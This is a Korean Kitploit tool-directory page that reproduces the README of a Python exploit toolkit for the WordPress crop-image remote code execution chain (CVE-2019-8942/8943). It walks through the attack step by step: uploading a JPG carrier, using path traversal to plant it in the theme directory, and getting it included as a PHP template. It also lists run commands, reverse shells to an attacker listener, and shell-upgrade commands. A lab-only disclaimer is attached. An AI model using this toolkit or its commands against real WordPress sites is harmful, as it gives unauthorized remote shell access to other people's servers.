Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WordPress-RCE-CVE-2019-8942 — WordPress Crop Image RCE를 위한 Python 익스플로잇 툴킷 — CVE-2019-8942 & CVE-2019-8943 | Kitploit
도구/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

WordPress Crop Image RCE를 위한 Python 익스플로잇 툴킷 — CVE-2019-8942 & CVE-2019-8943

12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

인증된 WordPress 크롭 이미지(crop-image) 익스플로잇 체인의 Python3 구현입니다. 이 저장소는 두 가지 독립적인 워크플로우로 구성되어 있습니다: 수동 OSCP 스타일 스크립트와 통합 리버스 셸 핸들러가 포함된 완전 자동화 스크립트입니다.

승인된 랩, CTF, 교육 플랫폼 또는 명시적 테스트 권한이 있는 시스템에서만 사용하세요.


영향을 받는 WordPress 버전

이 익스플로잇 체인은 다음 취약점을 대상으로 합니다:

  • CVE-2019-8942
  • CVE-2019-8943

이 취약점에 대한 공개 Metasploit 모듈은 영향을 받는 버전을 다음과 같이 설명합니다:

root@kitploit:~
WordPress 5.0.0 and WordPress <= 4.9.8

미디어 업로드/편집 권한이 있는 유효한 WordPress 계정이 필요합니다. 많은 랩 환경에서 Author 레벨 사용자면 충분합니다.


저장소 구조

root@kitploit:~
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg는 OSCP 스타일 스크립트가 사용하는 기본 JPG 캐리어입니다. 수동 워크플로우가 별도의 이미지를 찾지 않고 바로 작동할 수 있도록 포함되어 있습니다.

autoexploit.py는 자체 포함되어 있으며 내부에 16진수 JPG 캐리어를 포함하고 있지만, -i 옵션으로 사용자 정의 JPG를 받을 수도 있습니다.


설치

root@kitploit:~
python3 -m pip install -r requirements.txt

필요한 유일한 Python 패키지는 다음과 같습니다:

root@kitploit:~
requests

SOCKS 프록시 지원이 필요하면, 환경에 SOCKS 확장을 포함하여 requests를 설치하세요:

root@kitploit:~
python3 -m pip install 'requests[socks]'

스크립트 선택

두 스크립트 모두 독립적입니다. 서로의 코드를 임포트하지 않습니다.


OSCP 스타일 워크플로우

exploit_oscp.py는 워크플로우를 명시적으로 유지합니다. 이미지 캐리어를 준비하고, 인증된 WordPress 익스플로잇 체인을 수행하며, 명령 실행을 확인하고, 사용자가 수동으로 시작한 리스너로 리버스 셸을 트리거합니다.

자동으로 핸들러를 시작하지 않으며 Metasploit, Meterpreter, 또는 msfvenom을 사용하지 않습니다.

기본 OSCP 사용법

먼저 리스너를 시작하세요:

root@kitploit:~
nc -lvnp 443

기본 image.jpg를 사용하여 익스플로잇 실행:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

사용자 정의 JPG를 사용한 OSCP 사용법

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

OSCP 옵션

Burp를 사용한 OSCP 예제

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

완전 자동화 워크플로우

autoexploit.py는 속도를 위해 설계되었습니다. 대상 자격 증명만으로 실행할 수 있으며, 콜백 IP와 리스너 포트를 자동으로 선택하려고 시도합니다.

전체 익스플로잇 흐름을 수행하고, 로컬 리스너를 시작하며, 여러 리버스 셸 페이로드 스타일을 시도하고, 색상화된 로컬 상태 메시지와 조용한 TTY 업그레이드 처리를 갖춘 더 깔끔한 대화형 콘솔을 엽니다.

기본 자동화 사용법

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

명시적 콜백 값을 사용한 자동화 사용법

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

사용자 정의 이미지 및 프록시를 사용한 자동화 사용법

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

자동화 옵션


프록시 및 User-Agent 예제

Burp를 통한 HTTP 프록시:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS 프록시:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

사용자 정의 User-Agent:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

무작위 User-Agent:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

이미지가 중요한 이유

이것은 일반적인 PHP 업로드가 아닙니다. WordPress는 이미지 콘텐츠를 기대하고, 미디어 편집기를 통해 파일을 처리하여 크롭된 이미지를 생성합니다. 익스플로잇 체인은 첨부 파일 메타데이터와 경로 트래버설을 악용하여 크롭된 이미지를 활성 테마 디렉토리 안에 배치합니다. 마지막으로, 크롭된 파일이 페이지 템플릿으로 참조되어 WordPress가 이를 PHP로 포함하도록 합니다.

PHP가 포함된 임의의 JPG를 취약한 EXIF 메타데이터에 배치하면, GD가 크롭 처리 중 메타데이터를 제거하거나 다시 인코딩하여 실패할 수 있습니다. 이 저장소는 워크플로우를 명확하게 유지합니다:

  • exploit_oscp.py는 포함된 image.jpg를 기본적으로 사용하거나 -i로 전달된 사용자 정의 이미지를 사용합니다.
  • autoexploit.py는 자체 포함되도록 내부 16진수 캐리어를 포함합니다.
  • 두 워크플로우 모두 WordPress 크롭 단계를 견딜 수 있도록 업로드를 준비합니다.

기술적 흐름

  1. WordPress에 인증합니다.
  2. 활성 테마를 감지합니다.
  3. async-upload.php를 통해 JPG 캐리어를 업로드합니다.
  4. 미디어, 이미지 편집기, 첨부 파일 nonce를 획득합니다.
  5. _wp_attached_file 조작을 사용하여 크롭 출력 경로에 영향을 줍니다.
  6. 동작을 준비하기 위해 크롭 액션을 한 번 트리거합니다.
  7. 활성 테마 디렉토리로의 트래버설과 함께 크롭 액션을 다시 트리거합니다.
  8. 게시물을 생성하고 _wp_page_template을 크롭된 JPG 이름으로 설정합니다.
  9. 게시물을 요청하여 WordPress가 조작된 JPG를 템플릿으로 포함하도록 합니다.
  10. 0 GET 파라미터를 통해 명령 실행을 확인합니다.
  11. 설정되거나 자동 선택된 콜백 엔드포인트로 리버스 셸을 트리거합니다.

문제 해결

인증은 작동하지만 실행이 확인되지 않음

WordPress 버전이 취약하고 계정이 미디어를 업로드 및 편집할 수 있는지 확인하세요.

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

명령 실행은 확인되었지만 셸이 돌아오지 않음

콜백 IP와 리스너를 확인하세요.

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

그런 다음 올바른 --lhost로 OSCP 스크립트를 다시 실행하세요.

Burp에 트래픽이 표시되지 않음

프록시 옵션을 명시적으로 사용하세요:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS 프록시 실패

SOCKS 지원을 설치하세요:

root@kitploit:~
python3 -m pip install 'requests[socks]'

셸이 불안정함

기본 리버스 셸은 종종 제한적입니다. 자동화 스크립트는 세션을 자동으로 업그레이드하려고 시도합니다. OSCP 모드에서는 콜백을 받은 후 수동으로 업그레이드하세요:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

로컬에서 Ctrl+Z를 누른 후 다음을 실행하세요:

root@kitploit:~
stty raw -echo; fg

셸 내부에서:

root@kitploit:~
export TERM=xterm

OSCP 스타일 참고 사항

exploit_oscp.py는 의도적으로 수동입니다:

  • Metasploit 없음;
  • Meterpreter 없음;
  • 자동 핸들러 없음;
  • autoexploit.py에 대한 의존성 없음;
  • 운영자가 제어하는 명시적 리스너;
  • 명시적 LHOST 및 LPORT;
  • 각 단계를 보여주는 명확한 출력.

의도된 워크플로우는 다음과 같습니다:

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

크레딧

연구와 취약점 체인은 원래 연구자들에 의해 공개적으로 문서화되었으며, 이후 공개 익스플로잇 프레임워크에 구현되었습니다.

Python 구현 및 랩 워크플로우: SpeatX.


법적 고지

이 저장소는 승인된 보안 테스트, CTF, 교육 랩 및 교육 연구를 위해 제공됩니다.

소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.

도구 다운로드
스크립트최적 사용처이미지 처리셸 처리
exploit_oscp.pyOSCP 스타일/수동 익스플로잇기본적으로 image.jpg 사용, 또는 -i custom.jpg수동으로 nc 시작
autoexploit.py빠른 랩 사용 및 반복 테스트기본적으로 내장된 16진수 JPG 사용, 또는 -i custom.jpg리스너 시작, 콜백 트리거, 대화형 콘솔 열기
옵션필수기본값의미
-t, --target예없음대상 WordPress 기본 URL, 예: http://target.local/
-u, --username예없음WordPress 사용자 이름
-p, --password예없음WordPress 비밀번호
-i, --image아니오image.jpg준비 및 업로드할 JPG 캐리어
--lhost예없음콜백 IP, 일반적으로 VPN/tun0 IP
--lport예없음수동 리스너가 대기 중인 포트
--proxy아니오없음프록시 URL, 예: http://127.0.0.1:8080 또는 socks5://127.0.0.1:9050
--user-agent아니오내장사용자 정의 User-Agent 헤더
--random-user-agent아니오비활성화무작위 브라우저 스타일 User-Agent 사용
--timeout아니오20HTTP 타임아웃(초)
--debug아니오비활성화HTTP 디버그 출력 및 실패한 응답 저장
옵션필수기본값의미
-t, --target예없음대상 WordPress 기본 URL
-u, --username예없음WordPress 사용자 이름
-p, --password예없음WordPress 비밀번호
-i, --image아니오내장된 16진수 JPG선택적 사용자 정의 JPG 캐리어
--lhost아니오자동 감지리버스 셸에서 사용하는 콜백 IP
--lport아니오사용 가능한 로컬 포트로컬 리스너 포트
--listen-timeout아니오12각 리버스 셸 시도 대기 시간(초)
--proxy아니오없음프록시 URL, 예: http://127.0.0.1:8080 또는 socks5://127.0.0.1:9050
--user-agent아니오내장사용자 정의 User-Agent 헤더
--random-user-agent아니오비활성화무작위 브라우저 스타일 User-Agent 사용
--timeout아니오20HTTP 타임아웃(초)
--debug아니오비활성화HTTP 디버그 출력 및 실패한 응답 저장